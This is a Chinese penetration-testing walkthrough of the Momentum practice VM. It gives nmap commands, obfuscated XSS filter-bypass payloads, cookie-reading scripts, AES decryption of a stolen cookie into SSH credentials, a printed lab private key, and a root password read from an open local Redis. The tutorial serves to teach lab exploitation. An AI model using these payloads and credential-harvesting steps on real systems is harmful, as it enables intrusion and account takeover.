渗透测试——Momentum靶机渗透提取详细教程(XSS漏洞解密Cookie,SS获取信息,Redis服务利用)

大家好,今天是大年初六,也是要重新回归正常的学习工作状态了;这里也是祝大家工作顺利,技术提示;

  • 话不多说,还是继续给大家带来一篇渗透测试的文章------Momentum靶机,希望对大家有所帮助;

文章目录


前置准备

这里我们还是配置好靶机的网卡以及网络设置,然后就开始我们的渗透阶段 (具体步骤可以看往期的文章,最详细的应该是第一篇:DC3靶场主机渗透横向教程(包含详细安装教程)

剩下的步骤也是不再赘述;

Kali的IP地址还是万年不变的:192.168.56.102

信息收集

这里还是推荐大家使用多种工具对目标机器进行信息收集:

bash 复制代码
nmap -sP 192.168.56.0/24

# 详细信息收集
nmap -sC -sV -A -p- 192.168.56.114

结果如下:

可以得到目标主机IP为:192.168.56.116

具体开放的端口以及服务:

开放端口及服务功能

  • 22/tcp open ssh:OpenSSH 7.9p1 Debian 10+deb10u2,用于远程登录和安全文件传输
  • 80/tcp open http:Apache httpd 2.4.38,提供Web服务,运行着Momentum站点
  • 操作系统:Linux 4.15 - 5.8(Debian 10)

Web服务信息收集

随后我们访问网址: http://192.168.56.116/,得到结果如下:

熟悉一段时间,发现并没有什么可用信息,所以先尝试对其进行Web目录枚举


可以看到并没有什么有用的信息;

页面和Web目录均无可用信息,接下来我们还有什么思路?

  • 回头重新熟悉系统以及扫描的文件;

比如点击页面图片后,发现跳转到另一个页面:

http://192.168.56.116/opus-details.php?id=visor

而输入其他id,也会显示相应的id:

那么其中会不会存在SQL注入呢? 这里用sqlmap等跑了一下,并没有效果:

那接下来就查看一下扫描得到的文件:

发现只有 /js 页面存在内容:

页面内容如下:

bash 复制代码
function viewDetails(str) {

  window.location.href = "opus-details.php?id="+str;
}

/*
var CryptoJS = require("crypto-js");
var decrypted = CryptoJS.AES.decrypt(encrypted, "SecretPassphraseMomentum");
console.log(decrypted.toString(CryptoJS.enc.Utf8));
*/

代码分析:

  • 首先接收一个字符串 str 拼接到参数 id 后面,跳转到:opus-details.php?id=xxx
    • 并且没有做类型检查,数字限制,正则校验,说明参数完全可控
  • 可能存在的漏洞:不安全的直接对象引用IDOR(比如访问id=10的内容),SQL注入等;
    • 之前实验过了,都不存在;
  • 存在一个固定密钥:SecretPassphraseMomentum
    • 假设页面里有加密内容,打开浏览器控制台,引入 CryptoJS,执行命令,就可以解密数据。
bash 复制代码
CryptoJS.AES.decrypt(encrypted, "SecretPassphraseMomentum")

新知识:这里js文件以及SQL注入等方法并没有发现漏洞;那只能是我自己的知识面不够宽泛;

  • 在看了WP后也确实如此,还能存在XSS漏洞

XSS漏洞发现

随后我也尝试了测试,果然是存在:

数据包内容:

手工测试:


bash 复制代码
# 可用payload
<D3V/+/oNmoUseOveR%09=%09confirm()>v3dm0s
<A%09oNmOUSeOver%09=%09(confirm)()%0dx>v3dm0s
<htMl%0donPOintEReNTer%0a=%0aa=prompt,a()>

具体的xss语句利用可以看:[第二章] web入门---N1book靶场详细思路讲解(一)

(我有罪,太久没关注XSS,竟然忘记了它。。。)

XSS漏洞利用

Cookie注入

首先我们先获取网页的Cookie数据:

bash 复制代码
# 获取cookie
<script>alert(document.cookie)</script>
<ScRiPt>alert(document.cookie)</ScRiPt>

# 使用 IMG 事件(绕过 script 过滤)
<img src=x onerror="alert(document.cookie)">
<iMg src=x oNeRrOr="alert(document.cookie)">

结果:cookie=U2FsdGVkX193yTOKOucUbHeDp1Wxd5r7YkoM8daRtj0rjABqGuQ6Mx28N1VbBSZt

解密Cookie

之前信息收集时知道使用AES加密对一个字符串进行解密,解密密匙是:SecretPassphraseMomentum

因此找一个可以在线解密AES的网站对cookie进行解密:http://www.jsons.cn/aesencrypt/

得到结果:auxerre-alienum##

SSH登陆系统

之前我们得到目标机器开启了22和80服务,所以我们可以利用的字符串尝试登陆一下:

bash 复制代码
ssh auxerre@192.168.56.116
auxerre-alienum##

经过尝试,账号密码为:auxerre / auxerre-alienum##

进入后发现两个可疑文件 / 目录:

随后进入到.ssh 目录(看看能否进行SSH密钥登陆,获取root权限

具体SSH密钥登陆步骤可以看内网横向------VulnStack-4靶场内网横向解析的"Docker服务器逃逸" ------> "写入SSH密钥获取权限" 部分;

bash 复制代码
auxerre@Momentum:~/.ssh$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABAZSt5qiW
rw/YfYM4vqhw+aAAAAEAAAAAEAAAEXAAAAB3NzaC1yc2EAAAADAQABAAABAQCwF1phANl9
nXN4UkdKgqgfjxxo2t29UcrnTDKpAnLeZ+qFh5XeSL4J5BzGX1jQn5AXoQzg33kmtEiWlV
akkdisX+jP6r83fgbx10ue2t2rmZa6LZhGL7Me5xi85PAbJMy38uk33iPqHGmTSCyE7ovc
/iBzjEuHwcIivSzrRKu/eMe97Qrp3DiyYAoIbqhPk3CIGu++othCh8aJMNFueHxsWSYEUY
lIS9Qm74qbBaGiUiEb3uWmDlVFEN70hgTXLD1VeG5SA1L3lZWlxKu3n38I4Ti6R84xRG72
xot7OBA/BdTB/LUYm5DME/QNVAz2rBovHAYZQoLUtcwNDiKAWhPxAAAD0OmX8T40GSUsg/
9sSiZ1QU/VkEHrlHMfplL5AB8jTyv+RJmAD1nYyFldg/1Bayy6ns4tOw2lvyU4Esy+/fNu
iGpvjoO5U2C3ZU1/lGM7rTUTDSF5JiaUwDBLIDK6AQttF2lroA3oCUwpnXBYWq0XSl7uub
eQmLZ3NzQY/Az/2WMW8UUlM7QbZ5mfXO5g9VBAUjqc1NC1r5OOgFFXO+UAxhQcVtjb5J5m
WFpEMgMIf1VGnI71uLZdgFKe0gT1LmcU/h0+WsQEJF0Yth602e8Umuj86Zx6nd1v05BYt6
qQuRnCFM7qUfT/BYOnBfqorC+HVahYzH692RObHXqJAIMQM6BiXNr256MvBaQAP/p0PEzn
4obK+mpS4EXW9KVQ85yRJdDCXRtMicxWO2WVdCVEph1HcyT92Z2FseoOmvrx6dErQ3Ga0I
3mTeVV5Z5nREBkky9jpudMV2MnIb3jYrIvFlTczSruWheKWSVTiFDqCHxCiIYq4/+N026M
Yx4sdCRKhONem1QFsYtL/BuTSI3nDzduIwshJ/xSXmfT+26N4Qq+OJ0IEXCnYLehGVPXbs
IRHWPtMGMIhcxcdRvrlRl0yFxw9T3XeAbD5Xp4WYmpcJUvbQbUSNqy3WOCu9y+A2d9seWR
i33pWtwvjn6cnHoq6Rlg9Rx+H/YMIbdBbirH7WZTge95iViXVck/VCfzOolp4f47wcfisi
92a19DRcOKO2uNcw8n8zy8WMXoOY7hOb0+ku6adLtIsgdtxa3c87qtGOzrXVG5RXE5f7hG
BjsUou1MYhy9Cp3dS2ZnpPyMcg8U/KlVMTP91yOPKskOEZ3NH9/KSBRF4ftp1/f7pWixKj
tkOP+62qy186+NLHU1Rt4wirDsjtFH4Kp680HfeWCU/m8jZwtAh49nYCExG3Tu24SnkUbx
FVo1af9LHS2RF4wuY0Fengfw8/7qNS+cSGj/u6JlgKIzwDu84/EjnyjctOJo9z9u0cGHwE
vWjKH7TI9kmRgo4nBPQSYPmO8xwzCmnWFe94mFn6KBIFVd5UrdYlKVd9Uknf+vLme1CD3B
r9eQyHb/ROyZynpzEI6xZoCoUVtnEFqdM5h8A19UrDLkdKzepvLnjyiXz8H0i8weMmNT2h
QehYzidvberv2L6DKHUXfJWdvRQ4ejuJUEXPQdSvmLejJegwDos+hcXiIOk3+mbPQYaaZa
7xPDX5P7SPgyjI2h4AeUijGkOjbaapZW0vgM9JOV09H+rk0h0ADDu4gG9zQNV+oGPz7Dx5
J6aRsryAss246zRovUAuXOy3vQcPU=
-----END OPENSSH PRIVATE KEY-----

auxerre@Momentum:~/.ssh$ cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwF1phANl9nXN4UkdKgqgfjxxo2t29UcrnTDKpAnLeZ+qFh5XeSL4J5BzGX1jQn5AXoQzg33kmtEiWlVakkdisX+jP6r83fgbx10ue2t2rmZa6LZhGL7Me5xi85PAbJMy38uk33iPqHGmTSCyE7ovc/iBzjEuHwcIivSzrRKu/eMe97Qrp3DiyYAoIbqhPk3CIGu++othCh8aJMNFueHxsWSYEUYlIS9Qm74qbBaGiUiEb3uWmDlVFEN70hgTXLD1VeG5SA1L3lZWlxKu3n38I4Ti6R84xRG72xot7OBA/BdTB/LUYm5DME/QNVAz2rBovHAYZQoLUtcwNDiKAWhPx auxerre@Momentum

但是其实发现:这密钥就是当前用户的(无用功)

提取

ss获取端口服务

首先,使用sudo su和find / -perm -4000 -type f 2>/dev/null查找可以进行提权的相关信息,但是未发现可以利用的信息。

查看开放的端口:netstat -anotlp |more

那就用ss命令代替:Linux 下用于查看网络连接、端口监听、socket 状态的工具;

问题 原因 解决
sudo 不存在 未安装 如果是 root 不需要
netstat 不存在 net-tools 未安装 用 ss
apt 不存在 精简系统 只能用已有工具

结果如下:

bash 复制代码
ss
ss -anotlp

这里发现了6379端口,那很显然就是Redis服务

Redis服务利用

Redis服务怎么利用获取信息?没关系,之前我的文章都有:内网横向------记录某三层网络渗透及综合渗透(socks代理隧道搭建,nacos未授权,redis上传Webshell)

bash 复制代码
# 进入系统
redis-cli

# 查看信息
info
keys *


好像得到了root用户密码的健?get rootpass查看内容:

得到密码:m0mentum-al1enum##

bash 复制代码
# 当前用户账号密码:
auxerre / auxerre-alienum##

# root用户账户密码
root / m0mentum-al1enum##

直接退出Redis服务,su root切换用户:

成功得到最高权限:

成功getshell;

总结

  • XSS 漏洞发现与利用:在输入点构造恶意脚本成功触发执行,确认存在 XSS 漏洞;通过构造数据外带语句获取有效 Cookie,实现会话劫持并接管高权限账户。

  • Cookie 解码与凭证复用:对窃取的会话信息进行解码与结构分析,提取有效认证字段,验证其可用于远程登录系统服务。

  • SSH 登录系统:利用获取的有效凭证通过 22 端口成功登录目标主机,获取普通用户 Shell 权限并开展本地信息收集。

  • ss 端口信息收集:使用 ss -anotlp 枚举本机监听端口,确认开放 SSH、Web 以及仅本地监听的 Redis 服务,为后续利用指明方向。

  • Redis 服务利用:连接本地 6379 端口服务,枚举配置信息与数据库内容,结合服务特性尝试进行权限扩展或持久化利用。

期待下次再见;

相关推荐
奋斗中的小猩猩18 分钟前
OpenClaw不安全,Rust写的ZeroClaw给出满意答案
安全·rust·openclaw·小龙虾
网络点点滴27 分钟前
透传属性$attrs
前端·javascript·vue.js
90后的晨仔35 分钟前
OpenClaw macOS 完整安装指南
前端
Moment43 分钟前
尤雨溪宣布 Vite+ 正式开源,前端工具链要大一统了
前端·javascript·面试
zhangshuang-peta1 小时前
安全地将人工智能助手与企业系统和数据集成
人工智能·安全·chatgpt·ai agent·mcp·peta
sunny_1 小时前
📖 2026年 大厂前端面试手写题库已开源(2.3k star)
前端·面试·github
哈里谢顿1 小时前
Redis在jwt中的作用
redis
IT_陈寒1 小时前
Vue组件复用率提升300%?这5个高阶技巧让你的代码焕然一新!
前端·人工智能·后端
We་ct2 小时前
LeetCode 79. 单词搜索:DFS回溯解法详解
前端·算法·leetcode·typescript·深度优先·个人开发·回溯
ujainu2 小时前
Electron 实战:将用户输入保存到本地文件 —— 基于 `fs.writeFileSync` 与 IPC 的安全写入方案
javascript·安全·electron